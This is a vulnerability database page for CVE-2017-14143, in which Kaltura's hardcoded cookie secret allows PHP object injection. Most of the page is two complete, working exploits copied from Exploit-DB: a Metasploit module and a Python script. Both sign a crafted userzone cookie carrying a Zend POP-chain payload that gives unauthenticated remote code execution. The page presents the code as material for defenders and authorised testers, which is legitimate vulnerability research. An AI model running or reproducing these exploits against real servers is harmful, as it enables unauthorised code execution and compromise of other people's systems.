CVE-2017-14143
Description
The getUserzoneCookie function in Kaltura before 13.2.0 uses a hardcoded cookie secret to validate cookie signatures, which allows remote attackers to bypass an intended protection mechanism and consequently conduct PHP object injection attacks and execute arbitrary PHP code via a crafted userzone cookie.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Kaltura - Remote PHP Code Execution over Cookie (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
CookieSecret = 'y3tAno3therS$cr3T'
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Kaltura Remote PHP Code Execution over Cookie',
'Description' => %q{
This module exploits an Object Injection vulnerability in Kaltura.
By exploiting this vulnerability, unauthenticated users can execute
arbitrary code under the context of the web server user.
Kaltura makes use of a hardcoded cookie secret which allows to sign
arbitrary cookie data. After passing this signature check, the base64-
decoded data is passed to PHPs unserialize() function which allows for
code execution. The constructed object is again based on the SektionEins
Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are
affected by this issue.
A valid entry_id (which is required for this exploit) can be obtained
from any media resource published on the kaltura installation.
This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Robin Verton <hello@robinverton.de>',
'Mehmet Ince <mehmet@mehmetince.net>' # first kaltura rce module
],
'References' =>
[
['CVE', '2017-14143']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Sep 12 2017',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']),
OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', ''])
]
)
end
def check
r = rand_text_alpha(15 + rand(4))
entry_id = datastore['ENTRYID']
cmd = "print_r(#{r}).die()"
p = ""
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
encoded = Rex::Text.encode_base64(p)
hash = Rex::Text.md5("#{encoded}#{CookieSecret}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
'vars_get' => {
'list_type' => '15',
'entry_id' => entry_id
},
'cookie' => "userzone=#{encoded}#{hash}"
)
if res && res.redirect?
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
Exploit::CheckCode::Safe
elsif res && res.body.include?(r)
Exploit::CheckCode::Vulnerable
elsif !check_entryid
print_error("Invalid ENTRYID")
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Safe
end
end
def check_entryid
entry_id = datastore['ENTRYID']
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
'vars_get' => {
'list_type' => '15',
'entry_id' => entry_id
}
)
return res.body.include? entry_id
end
def exploit
entry_id = datastore['ENTRYID']
cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"
p = ""
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
encoded = Rex::Text.encode_base64(p)
hash = Rex::Text.md5("#{encoded}#{CookieSecret}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
'vars_get' => {
'list_type' => '15',
'entry_id' => entry_id
},
'cookie' => "userzone=#{encoded}#{hash}"
)
if res && res.redirect?
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
elsif res && res.code != 200
print_error('Unexpected response...')
else
print_status("Output: #{res.body}")
end
end
end
Kaltura < 13.2.0 - Remote Code Execution
#!/usr/bin/env python
# Kaltura <= 13.1.0 RCE (CVE-2017-14143)
# https://telekomsecurity.github.io/2017/09/kaltura-rce.html
#
# $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')"
# [~] host: https://example.com
# [~] entry_id: 0_xxxxxxxx
# [~] code: system('id')
# [+] sending request..
# uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura)
import urllib
import urllib2
import base64
import md5
import sys
cookie_secret = 'y3tAno3therS$cr3T';
def exploit(host, entry_id, php_code):
print("[+] Sending request..")
url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id)
cmd = "{}.die();".format(php_code)
cmd_len = len(cmd)
payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}"
exploit_code = payload % (len(cmd), cmd)
encoded = base64.b64encode(exploit_code)
md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest()
cookies={'userzone': "%s%s" % (encoded, md5_hash)}
r = urllib2.Request(url)
r.add_header('Cookie', urllib.urlencode(cookies))
req = urllib2.urlopen(r)
return req.read()
if __name__ == '__main__':
if len(sys.argv) < 4:
print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0])
print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0])
sys.exit(0)
host = sys.argv[1]
entry_id = sys.argv[2]
cmd = sys.argv[3]
print("[~] host: %s" % host)
print("[~] entry_id: %s" % entry_id)
print("[~] php_code: %s" % cmd)
result = exploit(sys.argv[1], sys.argv[2], sys.argv[3])
print(result)
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| kaltura | kaltura_server | {"endIncluding":"mercury-13.1.0"} | |
References
- http://www.securityfocus.com/bid/100976
- https://github.com/kaltura/server/commit/6a6d14328b7a1493e8c47f9565461e5f88be20c9#diff-0770640cc76112cbf77bebc604852682
- https://telekomsecurity.github.io/assets/advisories/20170912_kaltura-advisory.txt
- https://www.exploit-db.com/exploits/43028/
- https://www.exploit-db.com/exploits/43876/
- http://www.securityfocus.com/bid/100976
- https://github.com/kaltura/server/commit/6a6d14328b7a1493e8c47f9565461e5f88be20c9#diff-0770640cc76112cbf77bebc604852682
- https://telekomsecurity.github.io/assets/advisories/20170912_kaltura-advisory.txt
- https://www.exploit-db.com/exploits/43028/
- https://www.exploit-db.com/exploits/43876/
CWEs
CWE-798
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.